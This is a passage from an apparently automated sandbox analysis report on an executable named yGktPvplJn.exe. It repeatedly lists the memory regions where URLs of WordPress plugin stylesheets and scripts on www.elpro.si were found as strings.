00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/cf7-conditional-fields/js/scripts.js?ver=2.4.15
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/cf7-conditional-fields/style.css?ver=2.4.15
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.9.8
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.9.8
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.9.8
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=5.9.8
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/magic-tooltips-for-contact-form-7/assets/css/custom.css?ver=6
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/magic-tooltips-for-contact-form-7/assets/css/jquery.qtip.min.
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/magic-tooltips-for-contact-form-7/assets/js/custom.js?ver=1.6
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/magic-tooltips-for-contact-form-7/assets/js/imagesloaded.pkgd
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/magic-tooltips-for-contact-form-7/assets/js/jquery.qtip.js?ve
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/mailchimp-for-woocommerce/public/js/mailchimp-woocommerce-pub
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/mimetypes-link-icons/css/style.php?cssvars=bXRsaV9oZWlnaHQ9MT
